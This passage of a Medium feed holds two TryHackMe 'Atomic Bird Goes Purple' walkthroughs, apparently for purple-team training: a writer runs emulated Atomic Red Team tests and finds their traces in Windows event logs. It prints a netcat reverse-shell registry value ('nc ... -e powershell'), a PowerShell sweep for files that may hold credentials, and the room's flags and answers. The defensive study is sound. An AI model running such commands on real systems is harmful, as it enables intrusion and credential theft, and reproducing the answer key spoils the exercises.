C:\Users\Administrator&gt; Invoke-AtomicTest T0002-1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*w2odLS8tBLoWhha7zcQaYw.png" /></figure><p>Once done as previously a txt file appears on the desktop “findings.txt”</p><p>Open it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*76tgGo0EixxDtdEJ6lJT4g.png" /></figure><blockquote>Answer:: YamlDotNet.xml</blockquote><blockquote>Question:: Now go to the atomics path and update the executed script to include all “bak” files. What is the code snippet that needs to be added to the code?</blockquote><p>First I had to check what ps1 file is used by atomic so I cleared the previous event first then re ran it with the -ShowDetails switch.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/1*_R2uMnhqgczVs-5mL-d22Q.png" /><figcaption>Clean up of the previous task</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*9AB87n09YFfF-7La_0m3ow.png" /></figure><p>Now we know what we need. So navigate to “C:\AtomicRedTeam\atomics\T0002” folder and open up the “cleartxt-scan.ps1” file. A notepad will do just fine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*fhupWTv8S-ioQrdFSrs0tA.png" /></figure><pre>Get-ChildItem -Path &quot;C:\Users\&quot; -Recurse -Include *.xml,*.doc,*.xls, *.bak -Exclude<br>.............<br>Deducted</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*gvIvO6DDNCX7gBwXzHAI7Q.png" /></figure><p>Add “, *.bak” to the code snipet and save it.</p><blockquote>Answer:: ,*.bak</blockquote><blockquote>Question:: Run the cleanup command for the test <strong>T0002–1</strong> and re-execute the test. Open the output file, and investigate the detected files.<br>What is the secret key?</blockquote><p>I am not going to detail this. We just repeat the same process like in the first question in this Task.</p><p>So we can see 2 new files within the output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*dyUbJ7DaIeJbvHH_BpEmNw.png" /></figure><p>I went straight to “old.bak” since that was within the admin users folder.</p><p>Open it with a notepad.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*tehP3-Cave3mg5DePIbdLA.png" /></figure><blockquote>Answer:: L1LAFLHQ5peGsjh7Pee8wHFY1SBQHe85A1HZhVrK47Yf6cqmH3n8</blockquote><blockquote>Question:: Execute test <strong>T0002–2</strong> and investigate logs. What is the new account name?</blockquote><p>For this I was suspcting that I will need the already available Event Viewer and since we have run a few things started to wipe out the logs straight away from Microsoft/Windows/Sysmon/Operational and Windows Logs/Security folders.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/149/1*cnCX2AcYtyZFIzTgrcIgbw.png" /></figure><p>Once got it lets run the test case</p><pre>PS C:\Users\Administrator&gt; Invoke-AtomicTest T0002-2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*HY0eFrsISUHXFwzlt2T9hg.png" /></figure><p>Now that we have this lets open up Event Viewer so we are looking for new user.</p><p>I straight went for security logs cuz these contain Event IDs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*bt2bai5IYJoESrJnSa6T-A.png" /></figure><p>And did not really had to search for anything because it pokes your eye out :)</p><blockquote><strong>NOTE: I do work as a Security Blue teamer as a daily job so it was pretty straight from this one pic where to look. So if you are not I can suggest to get familiar with windows event IDs if you havent done so already.</strong></blockquote><p>We can see within the logs the eventID 4720 which means that <strong>a user account was created.</strong></p><p>If you need assistance this site helps big time with these</p><p><a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx">https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx</a></p><p>So by scrolling down a bit we can find the decoy user and typosquatting was used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*4MjrFRm2NkM_wKA1ZADAwg.png" /></figure><blockquote>Answer:: Adminstrator</blockquote><h3>Task 3 — Manipulate, Deface, Persistence<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><h4>Case: Manipulate, Deface, Persistence</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*Yy9MNizdqTMsh4PfVMM5QA.png" /></figure><p><strong>The planned tests for this case are listed below.</strong></p><pre># Planned tests<br><br>T0003-1 TASK-3.1 Internal service creation<br>T0003-2 TASK-3.2 Defacement with registry<br>T0003-3 TASK-3.3 File changes like a ransom<br>T0003-4 TASK-3.4 Planting reverse shell command in the registry</pre><p><strong>NOTE:</strong> You can revert the system modification and file change activities by using the cleanup command of the executed technique!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/219/1*H6KnjMRKO0wmn-I3Odpq8A.png" /></figure><blockquote>Question:: Execute test <strong>T0003–1</strong>. What is the name of the created service?</blockquote><p>Lets clear all logs and run the test.</p><p>Once we run the test lets head over to the Event Viewer and check the Operational logs. We are Looking for Sysmon Event ID 13 (dont mix it with Windows EventID) which stands for registry value sets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*SBFS3S_-TaeCUmxqW_vI4g.png" /></figure><p>And we have two logs lets check them.</p><p>Now lets check the details for these.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*kvEhibc0lAEjSLcZr5afcQ.png" /></figure><p>And we have a winner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*0x3iIUIXJV9y4QWSHXEIMQ.png" /></figure><blockquote>Answer:: thm-registered-service</blockquote><blockquote>Question:: Which image is used to set the registry value for the created service?</blockquote><p>Answer is right there :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*pYZpyFDVyF3i99iBOVMecA.png" /></figure><blockquote>Answer:: C:\Windows\system32\services.exe</blockquote><blockquote>Question:: Execute test <strong>T0003–2</strong>. What is the ransom note?</blockquote><p>Lets clean up again as always first. Then Invoke the test file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*uk3166U27ND968tAH0Nrtg.png" /></figure><p>So for this I thought initially there is going to be a file placed so I looked over Sysmon Event ID 11 events. But no luck so I skipped over to ID 13s.</p><p>There I could find one entry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*osfVPxUvasEX1coRRfR1fg.png" /></figure><p>The one above in particular, where a registry entry was present. Could have thought about this as well but hey we are humans :D yet.</p><p>So the entry in place is.</p><pre>TargetObject: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LegalNoticeText</pre><p>Now you could look up in registry edior and you would find this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*2ZIVEMC-tOGgKUUSvYbUew.png" /></figure><p>Or simply just scroll down the details of the Event viewer log :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*oqeNh-EetUM5jWCaLI-b_A.png" /></figure><p>And yes I did this on purpose :D</p><blockquote>Answer:: THM{THM_Offline_Index_Emulation}</blockquote><blockquote>Question:: Execute test <strong>T0003–3</strong>. What is the updated file extension?</blockquote><p>Clean up and Invoke as always :D but you know it already.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*O678116gdJSGBgCe4m6Pdg.png" /></figure><p>Updated file extension under ID 4663 refers to an attempt was made to access an object. So we have to look for these under Security logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*C3wWfB8PqKHT1XuMnRazHA.png" /></figure><p>We need to find a log where the Object.name is a file basically. With a bit of searching we can come accross this log.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*eYc_3IBuh_MjM9pFXfjVFw.png" /></figure><blockquote>Answer:: .thm-jhn</blockquote><blockquote>Question:: Execute test <strong>T0003–4</strong>.<br>What is the assigned value of the malicious registry value?</blockquote><p>Clean up and Invoke as always.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*QBNsOetRieTfS_Zt9mS04Q.png" /></figure><p>Now as of a first try lets see if we spot any new ID 13s within sysmon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*8usiVytI7kuUy6S17GNcgw.png" /></figure><p>Well no luck why would be :D</p><p>Ok So next step we can do is to check the process create ID 1 logs. Maybe its writing from somewhere.</p><p>Lets order the logs by time so the latest is on top.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*9dDsjMeuH-2vWDwGU-kRQA.png" /></figure><p>Bingo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*i5ODS1l5SjPaFmh5gvswCw.png" /></figure><blockquote>Answer:: d “nc 10.10.thm.jhn 4499 -e powershell”</blockquote><h3>Task 4— Conclusion<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><p><strong>Congratulations! </strong>You just finished the Atomic Bird Goes Purple rooms.</p><p>In this room, we covered the implementation of custom atomic tests and detection for Purple Team, Threat Emulation and Detection Engineering exercises. If you liked this content, we invite you to visit the following to keep learning and sharpening your skills!</p><ul><li><a href="https://tryhackme.com/room/tempestincident">Tempest</a></li><li><a href="https://tryhackme.com/room/caldera">Caldera</a></li><li>Advanced Blue Team Path ( Available soon! )</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/222/1*TN9DJixZbOar0B6ku0RBSA.png" /></figure><blockquote>Question:: Read the task above.<br>Answer:: No answer needed!!</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=56e14681f5b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me — Atomic Bird Goes Purple #1 — Walkthrough]]></title>
            <link>https://medium.com/@0x4C1D/try-hack-me-atomic-bird-goes-purple-1-walkthrough-becc47a0b7a1?source=rss-b82c81e3983e------2</link>
            <guid isPermaLink="false">https://medium.com/p/becc47a0b7a1</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[purple]]></category>
            <category><![CDATA[atomic-red-team]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[atomic-bird-goes-purple]]></category>
            <dc:creator><![CDATA[0x4C1D]]></dc:creator>
            <pubDate>Thu, 19 Oct 2023 07:01:45 GMT</pubDate>
            <atom:updated>2023-10-19T07:01:45.173Z</atom:updated>
            <content:encoded><![CDATA[<h3>Try Hack Me — Atomic Bird Goes Purple #1 — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*BRERx7Zx_Uunwu6pkNesHQ.png" /></figure><p>So Atomic Bird Goes Purple #1 is box within Soc L2 Path but it is quite old I believe. Not sure about the age of the room.</p><p>Link to the room:: <a href="https://tryhackme.com/room/atomicbirdone">https://tryhackme.com/room/atomicbirdone</a><br>Difficulty:: Medium<br>Tags:: Atomic, AtomicRedTeam, PurpleTeam, Purple</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*3_Xj-Kx0UEKAl7ZW_fwV7Q.png" /></figure><p>Let’s dive right into it shall we :)</p><h3>Task 1 — Introduction<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><h4>Threat Emulation Module Recap</h4><p>The bottom line of the activities found in this room is to enhance the impact of the Purple Team, Threat Emulation and Detection Engineering exercises by going beyond the defaults and basics. In this room, you will work on real-life scenarios using the outcomes you gained during the threat emulation module. You will emulate and hunt adversarial tactics and experience purple teaming exercises.</p><h4>Learning Objectivities</h4><ul><li>Gain hands-on threat emulation experience.</li><li>Familiarise yourself with artefacts created by adversary tactics and techniques.</li><li>Experience emulation and detection to improve your overall security defences.</li></ul><h4>Room Prerequisites</h4><ul><li><a href="https://tryhackme.com/room/windowseventlogs">Windows Event Logs</a> (Room)</li><li><a href="https://tryhackme.com/room/sigma">Sigma</a> (Room)</li><li><a href="https://tryhackme.com/room/sysmon">Sysmon</a> (Room)</li><li><a href="https://tryhackme.com/room/auroraedr">Aurora EDR</a> (Room)</li><li><a href="https://tryhackme.com/room/powershell">Hacking with PowerShell</a> (Room)</li><li><a href="https://tryhackme.com/module/windows-fundamentals">Windows Fundamentals</a> (Module)</li><li>Threat Emulation Module (Module)</li></ul><p><strong>Before proceeding to the next task, </strong>let’s start the <strong>Virtual Machine</strong> by pressing the <strong>Start Machine</strong> button at the top of this task. The machine will start in a split-screen view. In case the VM is not visible, use the blue Show Split View button at the top-right of the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*5pOISKnHDbCM22voD-OC3w.png" /></figure><blockquote>Question:: Start the attached VM and proceed to the next task.<br>Answer:: No answer needed!!</blockquote><h3>Task 2 — Getting Started With Custom Exercises and Investigation Process<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><h4>Threat Emulation and Custom Exercises</h4><p>The importance of Threat Emulation is invaluable when it comes to enhancing an organisation’s cyber security posture or security team’s capability. Threat Emulation is the process of simulating and replicating the tactics, techniques and procedures (TTPs) of selected threats (according to the organisation/team’s needs and current status) in a controlled environment. This includes recreating attack scenarios as detailed as possible to focus on each step of the attack chain for improving detection abilities, revealing gaps and weaknesses, and testing the effectiveness of the implemented security controls.</p><p>This process can be done through various methods, including red teaming activities, penetration testing, and the use of tools. This room uses the Atomic Red Team project to simulate attacks. The room contains a customised version of atomic tests to help you grasp implementing Purple Team exercises with atomic tests and familiarise yourself with sample attack chains.</p><p>A high-level mapping of the custom tests is listed below. Each task also shares the basic techniques and storyline of the planned custom actions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*WbjjOWqLBfgqbMDMKrYPiA.png" /></figure><h4>Investigation Process and Mindset</h4><p>A well-configured endpoint will generate sufficient log files for threat emulation tests. Additional detection tools also increase visibility, and various options exist. This room uses Aurora EDR and Sysmon to increase the visibility of each test and enrich the logs. The purpose of the exercises is to view the results of the tests as they are and to observe the activity details and artefacts, which are crucial for detection.</p><p>You are expected to execute given custom tests and then investigate logs and system activities for each test. The most important outcome of the exercise is executing a test and following up on the actions right after it. This includes log, directory and registry investigation. You must consider everything from both Red and Blue perspectives to go Purple!</p><p><strong>Note: </strong>Finding source code to analyse malicious files or attackers’ tactics and techniques is not always possible. Experimental testing is one of the most common methods to overcome this challenge. Therefore, some atomics are not provided in cleartext, but task descriptions and event logs provide sufficient information to understand what to expect from each test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*5pOISKnHDbCM22voD-OC3w.png" /></figure><blockquote>Question:: Read this task and proceed to the next one.<br>Answer:: No answer needed!!</blockquote><h3>Task 3 — Toolset and Hints<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><h4>Toolset and Hints</h4><ul><li>Windows Event Viewer</li><li>Windows Registry Editor</li><li>Custom Atomic Red Team Module</li><li>“THM-Utils” Powershell module</li><li>PowerShell</li></ul><p><strong>Hint:</strong> Atomic tests are based on PowerShell, so each time you execute a test or use a module, the system will generate a considerable amount of logs. You can clear the log files before each test so that the log files are not cluttered throughout the exercise. Thusly, it will be easier to investigate the logs and detect test results.</p><pre># THM-Utils usage<br><br>_____________________________________________________________________________________________<br>|        THM-Utils Commands                 |                     Result                      |<br>|___________________________________________|_________________________________________________|<br>|   THM-LogClear-All  ---------------------&gt; Clears all logs in the system.                   |<br>|   THM-LogStats-All  ---------------------&gt; Application, Security, System, PowerShell,       |<br>|                   |contd   --------------&gt; PowerShell Operational and Sysmon logs stats     |<br>|   THM-LogStats-Application --------------&gt; Summary of Application logs. (NO Aurora!)        |<br>|   THM-LogStats-Aurora -------------------&gt; Summary of Aurora agent logs.                    |<br>|   THM-LogStats-Flag  --------------------&gt; Gives the flag for the question.                 |<br>|   THM-LogStats-PowerShell  --------------&gt; Summary of PowerShell logs.                      |<br>|   THM-LogStats-Powershell-Operational ---&gt; Summary of PowerShell Operational logs.          |<br>|   THM-LogStats-Security -----------------&gt; Summary of Security logs.                        |<br>|   THM-LogStats-Sysmon -------------------&gt; Summary of Sysmon logs.                          |<br>|   THM-LogStats-System -------------------&gt; Summary of System logs.                          |<br>|_____________________________________________________________________________________________|</pre><pre># Atomic Red Team usage<br><br>_______________________________________________________________________________________________________________________<br>|        Atomic Red Team Command                 |                Result                                                |<br>|________________________________________________|______________________________________________________________________|<br>|   help Invoke-AtomicTest   ------------------------&gt; Shows the default help page.                                     |<br>|   Invoke-AtomicTest All -ShowDetailsBrief ---------&gt; Lists all tests.                                                 |<br>|   Invoke-AtomicTest T0000-1  ----------------------&gt; Executes 1st test case of the T0000-1 technique.                 |<br>|   Invoke-AtomicTest T0000-1 -Cleanup --------------&gt; Removes the artefacts and restores the modified files (if any!). |        <br>|_______________________________________________________________________________________________________________________|</pre><p><strong>Note: </strong>The Powershell profile is customised to load required modules and provides atomic usage hints, as shown below.<strong> </strong>The THM-Utils module helps summarise important log files by grouping each event log based on four categories: Sum (Count), Event ID, Task Category and Event Provider.</p><pre># Hints<br><br>Atomic Hint -&gt; Show help: help Invoke-AtomicTest<br>Atomic Hint -&gt; List all tests: Invoke-AtomicTest All -ShowDetailsBrief<br>Atomic Hint -&gt; Execute test: Invoke-AtomicTest TXXX-1<br>Atomic Hint -&gt; Cleanup artefacts: Invoke-AtomicTest TXXX-1 -Cleanup</pre><pre>PS C:\Users\Administrator&gt; THM-LogStats-All</pre><pre>|#|#|#|#|#| Important Log Statistics |#|#|#|#|#|</pre><pre>LogName                                  RecordCount<br>-------                                  -----------<br>Application                                      286<br>Security                                       26564<br>System                                           737<br>Windows PowerShell                               682<br>Microsoft-Windows-PowerShell/Operational       23975<br>Microsoft-Windows-Sysmon/Operational            1922</pre><pre>PS C:\Users\Administrator&gt; THM-LogStats-Application</pre><pre>|#|#|#|#|#| APPLICATION Log Statistics (WITHOUT AURORA!) |#|#|#|#|#|</pre><pre>Count Event ID Task Category    Provider<br>----- -------- -------------    --------<br>   15        0                  gupdate<br>    8    16394                  Microsoft-Windows-Security-SPP<br>    1      301 Logging/Recovery ESENT<br>    1      300 Logging/Recovery ESENT<br>    1      102 General          ESENT<br>...</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*5pOISKnHDbCM22voD-OC3w.png" /></figure><blockquote>Question:: Use the required PowerShell command to retrieve the flag.<br>What is the flag?</blockquote><p>For this we just use open up a PS shell within the attached box first.<br>Once open we need to use one of the THM-Utils module command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*OOliNFpa_aBGwHZCfU1S8A.png" /></figure><p>Also THM gives us some runable commands within during the task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*l_29dyyV7DWlR4loabXT1w.png" /></figure><p>Lets utilize the relevant command for the question :D It is very obvious but keep reading if unsure :)</p><p>Use the command below</p><pre>PS C:\Users\Administrator&gt; THM-LogStats-Flag<br><br><br>|#|#|#|#|#| THM{Emulation_is_fun_but_needs_focus_and_exploration} |#|#|#|#|#|</pre><blockquote>Answer:: THM{Emulation_is_fun_but_needs_focus_and_exploration}</blockquote><blockquote>Question:: What is the required command to clear all generated artefacts and restore the affected files from test <strong>T0123–4?</strong></blockquote><p>So to answer this question we need to asess the Atomic Red Team module commands a little.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*it2cIWf-5Ibcu4OfEaYeng.png" /></figure><p>Anything here you find fit for the job? Yeah I knew you know it.</p><p>The command “ Invoke-AtomicTest T0000–1 -Cleanup” looks good but we need to tailor it a little to fit the purpose of the question.</p><blockquote>Answer:: Invoke-AtomicTest T0123–4 -Cleanup</blockquote><h3>Task 4 — Execute, Investigate, Detect<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><h4>Case: Execute, Investigate, Detect</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*JnQf92o7t6hoa7uCdp5npA.png" /></figure><h4><strong>The planned tests for this case are listed below.</strong></h4><pre># Planned tests<br><br>T0004-1 TASK-4.1 Initial Enumeration Emulation<br>T0004-2 TASK-4.2 Credential Prompt Emulation<br>T0004-3 TASK-4.3 Failed command emulation</pre><p><strong>NOTE:</strong> You can revert the system modification and file change activities by using the cleanup command of the executed technique!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*5pOISKnHDbCM22voD-OC3w.png" /></figure><blockquote>Question:: Execute test <strong>T0004–1</strong> and open the document created on the Desktop. What is the OS Build info?</blockquote><p>For these we have the test process given task 1–2 and 3. For this we need to run the first test case of the T0004 case.</p><p>For this we need to use the command “Invoke-AtomicTest T….”</p><pre>Invoke-AtomicTest T0004-1</pre><pre>PS C:\Users\Administrator&gt; Invoke-AtomicTest T0004-1<br>PathToAtomicsFolder = C:\AtomicRedTeam\atomics<br><br>Executing test: T0004-1 TASK-4.1 Initial Enumeration Emulation<br>C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1<br>WARNING: The names of some imported commands from the module &#39;THM-Utils&#39; include unapproved verbs that might make them<br>parameter. For a list of approved verbs, type Get-Verb.<br>less discoverable. To find the commands with unapproved verbs, run the Import-Module command again with the Verbose<br>WARNING: Some imported command names contain one or more of the following restricted characters: # , ( ) {{ }} [ ] &amp; -<br>/ \ $ ^ ; : &quot; &#39; &lt; &gt; | ? @ ` * % + = ~<br>Atomic Hint -&gt; Show help: help Invoke-AtomicTest<br>Atomic Hint -&gt; List all tests: Invoke-AtomicTest All -ShowDetailsBrief<br>Atomic Hint -&gt; Execute test: Invoke-AtomicTest TXXX-1<br>Atomic Hint -&gt; Cleanup artefacts: Invoke-AtomicTest TXXX-1 -Cleanup<br>THM-Util Module Hint -&gt; Cleanup Logs: THM-LogClear-All<br>Done executing test: T0004-1 TASK-4.1 Initial Enumeration Emulation<br>PS C:\Users\Administrator&gt;</pre><p>Once it runs it prompts at the end the following</p><pre>Done executing test: T0004-1 TASK-4.1 Initial Enumeration Emulation</pre><p>It also creates a txt file on the desktop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/92/1*OF2wvCvxSMQg7FBzKcoZpg.png" /></figure><p>Let’s open the task results seen below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*yiNOAy6eb50hn4_ADpVRlQ.png" /></figure><p>And from here we can answer this question.</p><blockquote>Answer:: 10.0.17763 N/A Build 17763</blockquote><blockquote>Question:: Execute test <strong>T0004–2</strong>. What is the flag?</blockquote><p>Same like the previous question we need to tailor the command just a little bit.</p><pre>Invoke-AtomicTest T0004-2</pre><p>Lets run it shall we? :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*ixQ8nl_tVNplAxwfRlSuWw.png" /></figure><p><strong>NOTE:</strong> You might need to run it twice if it times out. If not you should receive the following prompt pop up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*ixJSnhqY6BB6MIsLA8lP2A.png" /></figure><p>And we have the flag</p><p>Answer:: THM{THM_Emulation_Room}</p><blockquote>Question:: Execute test<strong> T0004–3</strong>. Examine the logs; what is the failed command?</blockquote><p>Same like before except we need to add a little switch at the end for the command</p><pre>Invoke-AtomicTest T0004-3 -ShowDetails</pre><p>Once we run it we get the following</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*nkZc-Kul7dAwGG9KwAalvg.png" /></figure><p>From here we can state the failed command.</p><blockquote>Answer:: &lt;!bin/bash&gt;</blockquote><h3>Task 5 — Universal Suspicious Share<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><h4>Case: Universal Suspicious Share</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*ln8GvZdDTfTQlGSbKv9ZgA.png" /></figure><h4><strong>The planned test for this case is listed below.</strong></h4><pre># Planned tests<br><br>T0005-1 TASK-5   Universal Suspicious Share</pre><p><strong>NOTE:</strong> You can revert the system modification and file change activities by using the cleanup command of the executed technique!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*5pOISKnHDbCM22voD-OC3w.png" /></figure><blockquote>Question:: Navigate the disk and drives, and open the shared folder. What is the SHA256 value of the “.txt” document?</blockquote><p>So we open a file manager and select S:\ drive for the shares.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*PTgQS0rP4L4V2PttrNxuZg.png" /></figure><p>No we know we have to deal with that txt doc called “Donation_call.txt”</p><p>So we call the hash value of this easily from PS.</p><p>We just need to modify the following PS command.</p><pre>Get-FileHash -Path c:\Users\YourUserName\Desktop\yourfile.exe -Algorithm SHA256</pre><p>Just like so below.</p><pre># Script to execute within PS<br><br>Get-FileHash -Path S:\Donation_call.txt -Algorithm SHA256</pre><pre># Execution and return <br><br>PS C:\Users\Administrator&gt; Get-FileHash -Path S:\Donation_call.txt -Algorithm SHA256<br><br>Algorithm       Hash                                                                   Path<br>---------       ----                                                                   ----<br>SHA256          3CA9FB42ACF0A347BDFDC78E0435331BC458194E4BC7FBFFB255BC4CF02CDC1A       S:\Donation_call.txt<br><br><br>PS C:\Users\Administrator&gt;</pre><blockquote>Answer:: 3CA9FB42ACF0A347BDFDC78E0435331BC458194E4BC7FBFFB255BC4CF02CDC1A</blockquote><blockquote>Question:: Execute the test <strong>T0005–1</strong>. Re-calculate the SHA256 value of the document. What is the hash value?</blockquote><p>Now this is simple again lets Invoke the test T0005 case 1 the re use the previous algorithm.</p><p>Commands to execute in order.</p><pre>Invoke_AtomicTest T0005-1<br>Get-FileHash -Path S:\Donation_call.txt -Algorithm SHA256</pre><p>Here you will see the outputs of each command.</p><pre># Execution of Invoke-AtomicTest command<br><br>PS C:\Users\Administrator&gt; Invoke-AtomicTest T0005-1<br>PathToAtomicsFolder = C:\AtomicRedTeam\atomics<br><br>Executing test: T0005-1 TASK-5   Universal Suspicious Share<br>C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1<br>WARNING: The names of some imported commands from the module &#39;THM-Utils&#39; include unapproved verbs that might make them<br>less discoverable. To find the commands with unapproved verbs, run the Import-Module command again with the Verbose<br>parameter. For a list of approved verbs, type Get-Verb.<br># WARNING: Some imported command names contain one or more of the following restricted characters: # , ( ) {{ }} [ ] &amp; -<br># / \ $ ^ ; : &quot; &#39; &lt; &gt; | ? @ ` * % + = ~<br>Atomic Hint -&gt; Show help: help Invoke-AtomicTest<br>Atomic Hint -&gt; List all tests: Invoke-AtomicTest All -ShowDetailsBrief<br>Atomic Hint -&gt; Execute test: Invoke-AtomicTest TXXX-1<br>Atomic Hint -&gt; Cleanup artefacts: Invoke-AtomicTest TXXX-1 -Cleanup<br>THM-Util Module Hint -&gt; Cleanup Logs: THM-LogClear-All<br>Done executing test: T0005-1 TASK-5   Universal Suspicious Share<br>PS C:\Users\Administrator&gt;<br>............<br><br># Execution of SHA256 hash generation<br><br>PS C:\Users\Administrator&gt; Get-FileHash -Path S:\Donation_call.txt -Algorithm SHA256<br><br>Algorithm       Hash                                                                   Path<br>---------       ----                                                                   ----<br>SHA256          626DBB861DCFF600DABEFCE7BF93F2C72C0F6462CC5729B963FC8242D7D43990       S:\Donation_call.txt<br><br><br>PS C:\Users\Administrator&gt;</pre><blockquote>Answer:: 626DBB861DCFF600DABEFCE7BF93F2C72C0F6462CC5729B963FC8242D7D43990</blockquote><h3>Task 6— Dump and Go<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><h4>Case: Dump and Go</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*oWQUD8WgyW_4SuJnSKFhgg.png" /></figure><h4><strong>The planned tests for this case are listed below.</strong></h4><pre># Planned tests<br><br>T0006-1 TASK-6.1 History dump<br>T0006-2 TASK-6.2 SystemFile modification for exfiltration</pre><p><strong>NOTE:</strong> You can revert the system modification and file change activities by using the cleanup command of the executed technique!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*5pOISKnHDbCM22voD-OC3w.png" /></figure><blockquote>Question:: Execute test <strong>T0006–1</strong>.<br>Find the malicious history dump file. What is the flag?</blockquote><p>For clarity lets clear all logs first with the “THM-LogClear-All” command then from EventViewer clear all Sysmon and Security Logs.</p><p>I wont go in details in this one its fairly straigt forward.</p><p>Now execute the test by running the following below.</p><pre>PS C:\Users\Administrator&gt; Invoke-AtomicTest T0006-1</pre><p>So because of the task something had to be changed within the system therefore lets go to the sysmon logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*8m2vzjZR4z74AgmLlxYlaA.png" /></figure><p>So I went through and unfortunately it did not result in any findings :) happens.</p><p>Then one other thing we can do to go over to the Security logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*e0jaQlBawzlzmrpZCb5bJA.png" /></figure><p>Here we need to find the correct log with file touch or modification</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*7WcwUhMnOQ7GpZXAJvOgBw.png" /></figure><p>So what I did was to sort the logs here by Task Category</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/180/1*wZ7rXpauj9xVMNFUFq_-2w.png" /></figure><p>Reason is because we are looking for a file not a process in particular so we need the “File System” logs.</p><p>Here we see EventID 4663 which is meaning that an attempt was made to access an object.</p><p>I got curious so lets print the content of that file.</p><pre>PS C:\Users\Administrator&gt; type C:\Users\Administrator\AppData\SpcTmp\analytics.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*i7njyrTmIz4DlMi6S77fAg.png" /></figure><p>And we have a winner :)</p><p>Dont forget to clean up the logs before the next task.</p><pre># Clean up after yourself<br><br>THM-LogClear-All<br>&amp;&amp;<br>Clear Security and sysmon logs from eventviewer</pre><blockquote>Answer:: THM{THM_analytics_to_exfiltration_with_NexGenHunt}</blockquote><blockquote>Question:: Execute test <strong>T0006–2</strong>.<br>Find the malicious system file modification activity. What is the flag?</blockquote><p>Lets execute the test. By now I am sure you all know the command :)</p><pre>PS C:\Users\Administrator&gt; Invoke-AtomicTest T0006-2<br>PathToAtomicsFolder = C:\AtomicRedTeam\atomics<br><br>Executing test: T0006-2 TASK-6.2 SystemFile modification for 